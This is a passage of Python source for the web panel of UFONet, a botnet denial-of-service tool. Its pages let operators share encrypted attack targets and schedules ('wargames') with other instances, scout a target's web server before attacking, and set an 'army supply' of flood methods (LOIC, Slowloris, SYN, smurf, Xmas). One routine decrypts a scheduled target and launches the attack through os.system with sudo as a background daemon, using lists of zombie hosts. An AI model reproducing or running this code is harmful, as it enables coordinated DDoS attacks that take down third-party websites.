  885. function TransferGrid() {
  886. grid_source=document.getElementById("grid_source_upload").value
  887. grid_key=document.getElementById("grid_key_upload").value
  888. if(grid_source == "") {
  889. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  890. return
  891. }else{
  892. if(grid_key == "") {
  893. window.alert("You need to enter a valid key (provided by someone)");
  894. return
  895. }else{
  896. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  897. runCommandX("cmd_transfer_grid",params)
  898. setTimeout("location.reload()", 10000)
  899. }
  900. }
  901. }
  902. function Decryption_panel(){
  903. document.getElementById("dec_panel").style.display = "block";
  904. document.getElementById("transfer_panel").style.display = "none";
  905. document.getElementById("sync_panel_block").style.display = "none";
  906. }
  907. function Decrypt_grid(){
  908. grid_key=document.getElementById("grid_key").value
  909. if(grid_key == "") {
  910. window.alert("You need to enter a valid key (provided by someone)");
  911. return
  912. }else{
  913. params="grid_key="+escape(grid_key)
  914. runCommandX("cmd_decrypt_grid",params)
  915. panel_enc = document.getElementById("grid_panel_enc").style.display
  916. if(panel_enc == "block"){
  917. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  918. }
  919. }
  920. }
  921. function GridFilter(filter, key){
  922. params="filter="+escape(filter)+"&key="+escape(key)
  923. runCommandX("cmd_grid_filter", params)
  924. setTimeout("Decrypt_grid()", 2000)
  925. }
  926. </script>
  927. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  928. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  929. <br><center>
  930. <table cellpadding="5" cellspacing="5"><tr>
  931. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src="/images/aliens/alien6.png"></a></td><td>
  932. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  933. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  934. """ + self.pages["/footer"]
  935. def generate_wargames(self):
  936. with open(self.wargames_file) as f:
  937. for line in f:
  938. line = line.strip()
  939. f.close()
  940. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  941. for m in self.list_wargames: # list = creation, target, estimated
  942. if wargames_msg_sep in m:
  943. m = m.split(wargames_msg_sep)
  944. wargame_creation = m[0][0:12] # creation date
  945. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  946. wargame_target = m[1][0:12] # target (obfuscation)
  947. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  948. wargame_estimated = m[2][0:12] # estimated date
  949. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  950. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  951. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  952. wargame_status = wargame_state # status (obfuscated like state)
  953. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  954. wargames_table += "</table>"
  955. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  956. wargames_table = mother_wargame + wargames_table + "</div>"
  957. return wargames_table
  958. def html_wargames(self):
  959. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  960. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  961. wargames_table = self.generate_wargames()
  962. return self.pages["/header"] + """<script language="javascript">
  963. function Decrypt_wargames(){
  964. wargames_deckey=document.getElementById("wargames_deckey").value
  965. if(wargames_deckey == "") {
  966. window.alert("You need to enter a valid key (provided by someone)");
  967. return
  968. }else{
  969. params="wargames_deckey="+escape(wargames_deckey)
  970. runCommandX("cmd_decrypt_wargames",params)
  971. panel_enc = document.getElementById("wargames_panel_enc").style.display
  972. if(panel_enc == "block"){
  973. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  974. }
  975. }
  976. }
  977. function SyncWargames(){
  978. wargames_source=document.getElementById("wargames_source").value
  979. if(wargames_source == "") {
  980. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  981. return
  982. }else{
  983. params="wargames_source="+escape(wargames_source)
  984. runCommandX("cmd_sync_wargames",params)
  985. setTimeout("location.reload()", 10000)
  986. }
  987. }
  988. function Send() {
  989. wargames_source2=document.getElementById("wargames_source2").value
  990. wargames_enckey=document.getElementById("wargames_enckey").value
  991. wargames_target=document.getElementById("wargames_target").value
  992. wargames_estimated=document.getElementById("wargames_estimated").value
  993. if(wargames_source2 == "") {
  994. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  995. return
  996. }else{
  997. if(wargames_enckey == "") {
  998. window.alert("You need to enter a valid key (provided by someone)");
  999. return
  1000. }else{
  1001. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1002. runCommandX("cmd_transfer_wargame",params)
  1003. setTimeout("location.reload()", 10000)
  1004. }
  1005. }
  1006. }
  1007. function JobRemove(id) {
  1008. params="id="+escape(id)
  1009. runCommandX("cmd_job_remove",params)
  1010. setTimeout("Decrypt_wargames()", 2000)
  1011. }
  1012. function JobAdd(id) {
  1013. params="id="+escape(id)
  1014. runCommandX("cmd_job_add", params)
  1015. setTimeout("Decrypt_wargames()", 2000)
  1016. }
  1017. function JobAddAll() {
  1018. runCommandX("cmd_job_add_all")
  1019. setTimeout("Decrypt_wargames()", 2000)
  1020. }
  1021. function JobCancel(id) {
  1022. params="id="+escape(id)
  1023. runCommandX("cmd_job_cancel", params)
  1024. setTimeout("Decrypt_wargames()", 2000)
  1025. }
  1026. function JobRemoveAll(key) {
  1027. params="key="+escape(key)
  1028. runCommandX("cmd_job_remove_all", params)
  1029. setTimeout("Decrypt_wargames()", 2000)
  1030. }
  1031. function JobCancelAll() {
  1032. runCommandX("cmd_job_cancel_all")
  1033. setTimeout("Decrypt_wargames()", 2000)
  1034. }
  1035. function JobFilter(filter, key) {
  1036. params="filter="+escape(filter)+"&key="+escape(key)
  1037. runCommandX("cmd_job_filter", params)
  1038. setTimeout("Decrypt_wargames()", 2000)
  1039. }
  1040. function EditSupply(){
  1041. if(document.getElementById("supply_edit").value == "EDIT"){
  1042. document.getElementById("supply_botnet").readOnly = false;
  1043. document.getElementById("supply_loic").readOnly = false;
  1044. document.getElementById("supply_loris").readOnly = false;
  1045. document.getElementById("supply_ufosyn").readOnly = false;
  1046. document.getElementById("supply_spray").readOnly = false;
  1047. document.getElementById("supply_smurf").readOnly = false;
  1048. document.getElementById("supply_xmas").readOnly = false;
  1049. document.getElementById("supply_edit").title = "Set global army supply..."
  1050. document.getElementById("supply_edit").value = "SET"
  1051. document.getElementById("supply_edit").innerHTML = "SET!"
  1052. }else{
  1053. supply_botnet=document.getElementById("supply_botnet").value
  1054. supply_loic=document.getElementById("supply_loic").value
  1055. supply_loris=document.getElementById("supply_loris").value
  1056. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1057. supply_spray=document.getElementById("supply_spray").value
  1058. supply_smurf=document.getElementById("supply_smurf").value
  1059. supply_xmas=document.getElementById("supply_xmas").value
  1060. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1061. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1062. return
  1063. }else{
  1064. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1065. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1066. return
  1067. }else{
  1068. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1069. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1070. return
  1071. }else{
  1072. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1073. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1074. return
  1075. }else{
  1076. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1077. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1078. return
  1079. }else{
  1080. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1081. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1082. return
  1083. }else{
  1084. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1085. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1086. return
  1087. }else{
  1088. document.getElementById("supply_botnet").readOnly = true;
  1089. document.getElementById("supply_loic").readOnly = true;
  1090. document.getElementById("supply_loris").readOnly = true;
  1091. document.getElementById("supply_ufosyn").readOnly = true;
  1092. document.getElementById("supply_spray").readOnly = true;
  1093. document.getElementById("supply_smurf").readOnly = true;
  1094. document.getElementById("supply_xmas").readOnly = true;
  1095. document.getElementById("supply_edit").title = "Edit global army supply..."
  1096. document.getElementById("supply_edit").value = "EDIT"
  1097. document.getElementById("supply_edit").innerHTML = "EDIT"
  1098. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)
  1099. runCommandX("cmd_edit_supply",params)
  1100. setTimeout("Decrypt_wargames()", 2000)
  1101. }
  1102. }
  1103. }
  1104. }
  1105. }
  1106. }
  1107. }
  1108. }
  1109. }
  1110. </script>
  1111. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1112. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1113. <br>
  1114. <center>
  1115. <table cellpadding="5" cellspacing="5"><tr>
  1116. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src="/images/aliens/alien8.png"></a></td>
  1117. <td>
  1118. <pre>This feature will allow you to propose/join some real 'wargames'.
  1119. <hr>
  1120. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1121. <hr><br>
  1122. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1123. def html_abduction(self):
  1124. return self.pages["/header"] + """<script language="javascript">
  1125. function Requests() {
  1126. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1127. }
  1128. function Start(){
  1129. target=document.getElementById("target").value
  1130. String.prototype.startsWith = function(prefix){
  1131. return this.indexOf(prefix) === 0;
  1132. }
  1133. if(target.startsWith("http")){
  1134. params="target="+escape(target)
  1135. }else{
  1136. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  1137. return
  1138. }
  1139. runCommandX("cmd_abduction",params)
  1140. }
  1141. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1142. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1143. <br>
  1144. <center>
  1145. <table cellpadding="5" cellspacing="5"><tr>
  1146. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src="/images/aliens/alien7.png"></a></td>
  1147. <td>
  1148. <pre>
  1149. This feature will provide you information about target's web server.
  1150. You can use this before to attack to be more effective.
  1151. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1152. <hr>
  1153. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1154. <hr>
  1155. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1156. </pre>
  1157. </td></tr></table>
  1158. <hr><br>
  1159. </center>
  1160. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1161. def html_blackholes(self):
  1162. return self.pages["/header"] + """<script language="javascript">
  1163. function Decrypt(){
  1164. blackhole_key=document.getElementById("blackhole_key").value
  1165. if(blackhole_key == "") {
  1166. window.alert("You need to enter a valid key (provided by someone)");
  1167. return
  1168. }else{
  1169. params="blackhole_key="+escape(blackhole_key)
  1170. runCommandX("cmd_decrypt",params)
  1171. document.getElementById("nb1").style.display = "none";
  1172. }
  1173. }
  1174. </script>
  1175. <script language="javascript">
  1176. function RefreshBlackhole(){
  1177. blackholes_source=document.getElementById("blackholes_source").value
  1178. if(blackholes_source == "") {
  1179. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1180. return
  1181. }else{
  1182. params="blackholes_source="+escape(blackholes_source)
  1183. runCommandX("cmd_refresh_blackholes",params)
  1184. document.getElementById("nb1").style.display = "none";
  1185. setTimeout("location.reload()", 10000)
  1186. }
  1187. }
  1188. </script>
  1189. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1190. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1191. <br>
  1192. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1193. <td>Blackhole/IP:</td>
  1194. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  1195. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1196. <hr>
  1197. <table cellpadding="5" cellspacing="5"><tr>
  1198. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src="/images/aliens/alien3.png"></a></td><td>
  1199. <table cellpading="5" cellspacing="10"><tr><td>
  1200. <form method='GET'>
  1201. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1202. </td></tr><tr><td>
  1203. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1204. </form>
  1205. </td></tr></table></td></tr></table>
  1206. <hr><br>
  1207. </center>
  1208. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1209. <div id="cmdOut"></div>
  1210. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1211. """ + self.pages["/footer"]
  1212. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1213. sep = "#-#"
  1214. for job in wargames_engage_list:
  1215. job_t2 = job.rsplit(sep, 1)[0]
  1216. job_creation = job_t2.rsplit(sep, 1)[0]
  1217. job_target = job_t2.rsplit(sep, 1)[1]
  1218. job_estimated = job.rsplit(sep, 1)[1]
  1219. self.decrypt(self.crypto_key, job_estimated)
  1220. if self.decryptedtext:
  1221. job_estimated_dec = self.decryptedtext
  1222. else:
  1223. job_estimated_dec = ""
  1224. self.decryptedtext = ""
  1225. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1226. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1227. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1228. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1229. self.decrypt(self.crypto_key, job_target)
  1230. if self.decryptedtext:
  1231. job_target_dec = self.decryptedtext
  1232. else:
  1233. job_target_dec = ""
  1234. self.decryptedtext = ""
  1235. if job_target_dec is not "":
  1236. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1237. try: # read global army supply (json)
  1238. with open(self.mothership_supplycfg_file) as data_file:
  1239. data = json.load(data_file)
  1240. except:
  1241. print '[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]'
  1242. with open(self.mothership_supplycfg_file, "w") as f:
  1243. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0}, f, indent=4)
  1244. with open(self.mothership_supplycfg_file) as data_file:
  1245. data = json.load(data_file)
  1246. self.supply_botnet = data["botnet"]
  1247. self.supply_loic = data["loic"]
  1248. self.supply_loris = data["loris"]
  1249. self.supply_ufosyn = data["ufosyn"]
  1250. self.supply_spray = data["spray"]
  1251. self.supply_smurf = data["smurf"]
  1252. self.supply_xmas = data["xmas"]
  1253. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1254. print "[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec)
  1255. cmd = ""
  1256. nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1257. root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1258. if int(self.supply_xmas) > 0:
  1259. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1260. flag_xmas = True
  1261. if int(self.supply_smurf) > 0:
  1262. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1263. flag_smurf = True
  1264. if int(self.supply_spray) > 0:
  1265. cmd += "--spray " +str(self.supply_spray)+ " "
  1266. flag_spray = True
  1267. if int(self.supply_ufosyn) > 0:
  1268. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1269. flag_ufosyn = True
  1270. if int(self.supply_loris) > 0:
  1271. cmd += "--loris " +str(self.supply_loris)+ " "
  1272. if int(self.supply_loic) > 0:
  1273. cmd += "--loic " +str(self.supply_loic)+ " "
  1274. if not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1275. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1276. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True:
  1277. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS)
  1278. runcmd = cmd + " "
  1279. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1280. print "[Info] [Wargames] Running command:", runcmd, "\n"
  1281. os.system(runcmd) # launch it!
  1282. if "!!!" in job: # remove it from queue (unjob)
  1283. f = open(self.wargames_file, "r")
  1284. ls = f.readlines()
  1285. f.close()
  1286. f = open(self.wargames_file, "w")
  1287. for l in ls:
  1288. if str(l) != str(job):
  1289. f.write(l)
  1290. else:
  1291. job = re.sub('[!!!]', '', job)
  1292. f.write(job)
  1293. f.close()
  1294. def __init__(self):
  1295. self.crypto_key = crypto_key # set default symmetric crypto key
  1296. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1297. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  1298. self.board_file = 'server/board.txt' # set source path to retrieve board warning message
  1299. self.grid_file = 'server/grid.txt' # set source path to retrieve grid
  1300. self.board_warning = "" # set initial (str) board warning message
  1301. self.wargames_file = 'server/wargames.txt' # set source path to retrieve wargames
  1302. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1303. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1304. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1305. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1306. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1307. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1308. self.news = "server/news.txt" # set source path to retrieve server news
  1309. self.missions = "server/missions.txt" # set source path to retrieve server missions
  1310. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1311. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1312. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1313. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1314. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1315. self.ranking = "Rookie Star" # set starting rank
  1316. self.decryptedtext = "" # set buffer for decryption
  1317. self.encryptedtext = "" # set buffer for encryption
  1318. self.blackholes = "server/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1319. self.blackhole = default_blackhole # set default blackhole
  1320. self.blackholes_status = "Not connected!" # set default status for blackholes
  1321. self.blackholes_status_color = "red" # set default status color for blackholes
  1322. self.referer = 'http://127.0.0.1/'
  1323. self.mothershipname = "core/txt/shipname.txt"
  1324. f = open(self.mothershipname) # extract ship name
  1325. self.mothership_id = f.read()
  1326. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1327. f.close()
  1328. f = open(self.release_date_file) # extract release creation datetime
  1329. self.release_date = f.read()
  1330. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1331. self.trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)])
  1332. self.trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)])
  1333. f.close()
  1334. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1335. self.blackholes_text = f.read()
  1336. f.close()
  1337. f = open(self.blackholes)
  1338. self.blackholes_block = f.readlines()
  1339. f.close()
  1340. self.list_blackholes = []
  1341. for b in self.blackholes_block:
  1342. self.list_blackholes.append(b)
  1343. self.blackholes_datetime = time.ctime(os.path.getctime('server/nodes.dat')) # extract nodes.dat datetime
  1344. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1345. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1346. else:
  1347. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1348. f = open(self.news) # double extract news
  1349. self.news_text = f.read()
  1350. f.close()
  1351. f = open(self.news)
  1352. self.news_block = f.readlines()
  1353. f.close()
  1354. self.list_news = []
  1355. for n in self.news_block:
  1356. self.list_news.append(n)
  1357. self.news_datetime = time.ctime(os.path.getctime('server/news.txt')) # extract news.txt datetime
  1358. if self.news_datetime == self.release_date_file: # never connected to feeds
  1359. self.news_status_color = "red" # set status color for news to 'red'
  1360. else:
  1361. self.news_status_color = "green" # set status color for news to 'green'
  1362. f = open(self.board_file) # double extract board
  1363. self.moderator_text = f.read()
  1364. f.close()
  1365. f = open(self.board_file)
  1366. self.moderator_block = f.readlines()
  1367. f.close()
  1368. self.list_moderator = []
  1369. for n in self.moderator_block:
  1370. self.list_moderator.append(n)
  1371. f = open(self.grid_file) # double grid board
  1372. self.grid_text = f.read()
  1373. f.close()
  1374. f = open(self.grid_file)
  1375. self.grid_block = f.readlines()
  1376. f.close()
  1377. self.list_grid = []
  1378. for n in self.grid_block:
  1379. self.list_grid.append(n)
  1380. f = open(self.wargames_file) # double wargames board
  1381. self.wargames_text = f.read()
  1382. f.close()
  1383. f = open(self.wargames_file)
  1384. self.wargames_block = f.readlines()
  1385. f.close()
  1386. self.list_wargames = []
  1387. for n in self.wargames_block:
  1388. self.list_wargames.append(n)
  1389. f = open(self.missions) # double extract missions
  1390. self.missions_text = f.read()
  1391. f.close()
  1392. f = open(self.missions)
  1393. self.missions_block = f.readlines()
  1394. f.close()
  1395. self.list_missions = []
  1396. for m in self.missions_block:
  1397. self.list_missions.append(m)
  1398. self.missions_datetime = time.ctime(os.path.getctime('server/missions.txt')) # extract missions.txt datetime
  1399. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1400. self.missions_status_color = "red" # set status color for missions to 'red'
  1401. else:
  1402. self.missions_status_color = "green" # set status color for missions to 'green'
  1403. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1404. data = json.load(stats_json_file)
  1405. stats_json_file.close()
  1406. self.abductor = Abductor(self) # call abductor for data size conversor
  1407. self.aflying = data["flying"]
  1408. self.ascanner = data["scanner"]
  1409. self.atransferred = data["transferred"]
  1410. self.amax_chargo = data["max_chargo"]
  1411. self.amissions = data["missions"]
  1412. self.acompleted = data["completed"]
  1413. self.aloic = data["loic"]
  1414. self.aloris = data["loris"]
  1415. self.aufosyn = data["ufosyn"]
  1416. self.aspray = data["spray"]
  1417. self.asmurf = data["smurf"]
  1418. self.axmas = data["xmas"]
  1419. self.tcrashed = data["crashed"]
  1420. if int(self.acompleted) > 0: # check for attacks completed
  1421. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1422. else:
  1423. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1424. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1425. self.ranking = "Rookie"
  1426. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1427. self.ranking = "Mercenary"
  1428. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  1429. self.ranking = "Bandit"
  1430. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  1431. self.ranking = "UFOmmander!"
  1432. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  1433. self.ranking = "UFOl33t!"
  1434. f = open(self.zombies_file)
  1435. self.zombies = f.readlines()
  1436. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1437. self.list_zombies = []
  1438. for zombie in self.zombies:
  1439. t = urlparse(zombie)
  1440. name_zombie = t.netloc
  1441. if "www." in name_zombie:
  1442. name_zombie = name_zombie.replace("www.","")
  1443. self.list_zombies.append(name_zombie)
  1444. self.num_zombies = str(len(self.zombies))
  1445. f.close()
  1446. f = open(self.aliens_file)
  1447. self.aliens = f.readlines()
  1448. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1449. self.list_aliens = []
  1450. for alien in self.aliens:
  1451. t = urlparse(alien)
  1452. name_alien = t.netloc
  1453. if "www." in name_alien:
  1454. name_alien = name_alien.replace("www.","")
  1455. self.list_aliens.append(name_alien)
  1456. self.num_aliens = str(len(self.aliens))
  1457. f.close()
  1458. f = open(self.droids_file)
  1459. self.droids = f.readlines()
  1460. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1461. self.list_droids = []
  1462. for droid in self.droids:
  1463. t = urlparse(droid)
  1464. name_droid = t.netloc
  1465. if "www." in name_droid:
  1466. name_droid = name_droid.replace("www.","")
  1467. self.list_droids.append(name_droid)
  1468. self.num_droids = str(len(self.droids))
  1469. f.close()
  1470. f = open(self.ucavs_file)
  1471. self.ucavs = f.readlines()
  1472. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1473. self.list_ucavs = []
  1474. for ucav in self.ucavs:
  1475. t = urlparse(ucav)
  1476. name_ucav = t.netloc
  1477. if "www." in name_ucav:
  1478. name_ucav = name_ucav.replace("www.","")
  1479. self.list_ucavs.append(name_ucav)
  1480. self.num_ucavs = str(len(self.ucavs))
  1481. f.close()
  1482. f = open(self.rpcs_file)
  1483. self.rpcs = f.readlines()
  1484. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
